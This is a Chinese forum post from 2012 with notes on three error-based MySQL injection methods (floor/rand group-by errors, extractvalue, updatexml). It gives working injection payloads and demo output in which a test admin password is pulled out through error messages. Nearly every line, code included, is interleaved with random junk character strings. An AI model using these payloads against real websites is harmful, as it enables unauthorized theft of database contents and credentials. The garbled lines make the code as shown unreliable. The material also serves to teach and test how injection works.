找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2448|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
9 D  V5 V3 e  |) F: R实际测试环境:# ?$ x$ q: S: [, ~! r) y9 _. k6 B$ \
​
4 m& q: X: K; o1 F: R
4 ~0 ?% Y5 @' r  C3 xmysql> show tables;
7 ], d6 L, X1 M0 ?0 r$ a! Q5 d1 u) N+----------------+
9 h; c' e: J4 P- H| Tables_in_test |
1 Y) A$ A. G. H: E5 D1 }  A+----------------+
* ?, x  G1 @9 h| admin          |; j* {" X( D( c8 `" E5 B& L3 Y
| article        |
  `+ m$ x) w2 X$ F2 ?$ J/ D+----------------+% c, s0 M7 j* F& i7 H

# r! s% j! a6 n' b) C
0 W/ i" Z8 _& c( v4 k1 c+ A+ M% F * c+ h# m3 U1 y' `# Q/ T+ m- i& v
mysql> describe admin;: i5 J: z0 A* T6 l7 c. h# ^
+-------+------------------+------+-----+---------+----------------+
1 l8 u( l! X! V" D, `  Y, ?# K| Field | Type             | Null | Key | Default | Extra          |- ]. c' F+ Z( o9 M1 j& [3 s
+-------+------------------+------+-----+---------+----------------+9 L9 H: O3 h; r. I0 K' s" @6 C
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |# n4 X& h+ |( A, U7 v; P0 t
| user  | varchar(50)      | NO   |     | NULL    |                |: t/ a6 b+ M3 w, a2 M
| pass  | varchar(50)      | NO   |     | NULL    |                |
" ~0 J" j5 o& x, }+-------+------------------+------+-----+---------+----------------+
  G& p( J" x! @ : u3 u, `$ E' \4 a9 ~9 c  j
0 q/ v1 @: g1 p4 S6 ^

  z( T0 Q6 e6 H2 c9 imysql> describe article;
: M9 C, r" W, Z# E. i3 L! D5 h4 p) N+---------+------------------+------+-----+---------+----------------+
+ S) k' W. c( g; O7 a: o. s| Field   | Type             | Null | Key | Default | Extra          |
+ R- I1 L) c; V) |/ d1 a+---------+------------------+------+-----+---------+----------------+
( r5 O- P8 X- Y% h! {| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
0 ?) f# A1 k1 I9 N* y1 `9 G| title   | varchar(50)      | NO   |     | NULL    |                |
, c/ f6 U: _8 ]$ d, j% E, f| content | varchar(50)      | NO   |     | NULL    |                |1 z. O# \  [  E) g% h" M
+---------+------------------+------+-----+---------+----------------+
) U, T: {. G( K( N/ `1、通过floor报错
( v9 O& M: }/ R6 N2 T可以通过如下一些利用代码* W& A4 C  s+ j6 w5 H
2 G1 v( y7 W; J3 g/ _+ O# a
- I+ x1 Q# E5 E# m
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
1 L- ~+ }0 z' a/ M' Y7 F) l; Z3 rfrom information_schema.tables group by x)a);4 P4 p" }; |: r( [7 a

; Y: L) c+ R* g/ G1 l 2 o& M1 H9 m% O2 M/ ~/ `5 _7 U
and (select count(*) from (select 1 union select null union select !1)x( {* @7 n9 a: j6 k4 q0 s
group by concat((select table_name from information_schema.tables limit 1)," U" K( K+ Z" f' q- G2 H9 `
floor(rand(0)*2)));
( L( K2 |* @  L6 z3 U& h+ j举例如下:
4 U2 H, f8 v% Y  I5 o首先进行正常查询:
9 Q( t* \# |$ Q/ Y8 A) [9 Z# n - J, z; C  }1 S- A7 E. i
mysql> select * from article where id = 1;
7 N1 `( h( p9 [% U2 t' P+----+-------+---------+
1 v9 X$ ]4 S3 [# D| id | title | content |
8 t2 N) U3 ?4 c  t+----+-------+---------+$ B9 Z; R. N! ?; x; s5 T# `# ]  U; w
|  1 | test  | do it   |
7 J4 j# Q% ^; D3 t+ {+----+-------+---------+2 D# m( k' ?4 s
假如id输入存在注入的话,可以通过如下语句进行报错。
) U6 q. y9 ?" m0 N; Q) @$ K 5 K0 M7 s% n* x, d2 ^3 ]

8 v8 S* x) y/ `; P& V5 q+ dmysql> select * from article where id = 1 and (select 1 from5 @5 q' A4 ]/ n7 l
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);) Y; l) k% k$ u, L5 n
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'3 Y! I3 D5 b  y) @* ]- w
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。% R: H9 j$ }+ v" z+ x8 w
例如我们需要查询管理员用户名和密码:
, @: m9 [. B0 I' k  AMethod1:/ M' _2 O! }$ U( w- k
5 ]; _. f5 a" n$ ]

1 p# K' ]9 |0 ?6 \% ^' d( ^1 dmysql> select * from article where id = 1 and (select 1 from
8 T" Y/ ?1 d$ o3 a! t5 l(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
  b1 I$ }: {) R- r% `8 yfrom information_schema.tables group by x)a);  B8 _3 [3 J- v' h+ a& w! C9 G
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key', v) j% r- c% t3 |$ Z- p) L
Method2:/ q8 ^" Q: l3 B( F' C

9 t4 |1 p( M" P: c+ Y 7 G- g$ z7 g' S! R. Z  T  a/ X
mysql> select * from article where id = 1 and (select count(*)2 G, g3 D8 }6 y" I
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
2 b$ u1 S7 k+ L7 tfloor(rand(0)*2)));) E8 H/ |  w, n9 J* e$ ?! k
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'4 F5 s0 I+ A/ d
2、ExtractValue) d, G. @6 W4 y: z& @' v
测试语句如下
0 w( L. p! n* a
; \1 a6 g$ [1 L. ~1 H 7 U$ Q# t7 {1 r2 N
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
- ~! t9 W6 r+ s! B* i! }实际测试过程
  Z$ n/ t4 C) h& R 1 m) |- E' a; r$ j+ u, v
# P- M% m$ q  `
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,& {2 g' J+ u& ~! h* `
(select pass from admin limit 1)));--
7 E7 U4 e* T) s7 X) i- kERROR 1105 (HY000): XPATH syntax error: '\admin888'
/ s3 o. y5 L. j3、UpdateXml% ?* [& b, @% J, t
测试语句' o+ r' [5 Q3 S1 O- u3 ^
; q2 ]/ K$ v9 \; [* H0 B
1 F8 o7 X/ Q& u1 C; C) T' d, z
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))& h5 \0 r; m  d. v4 M" o( C3 j* l
实际测试过程
  O. x; ~. D% {! ^2 x7 y6 ~. O . ^: l( n; t" U( r  P! F1 N/ U& w
. }( |  `, H; R+ d8 a
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,; V9 i0 Y  Z# V* z) w+ k& {5 A; O* d
(select pass from admin limit 1),0x5e24),1));* I& h+ e) \! N6 j9 M/ ]
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
7 p8 f" l; x+ F) l# F7 E3 cAll, thanks foreign guys.
. q4 C/ f1 J1 e! W# s, O
3 n# M. j8 R, T' P! G​
+ k2 F3 l/ {+ `$ z0 c( b9 z5 v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表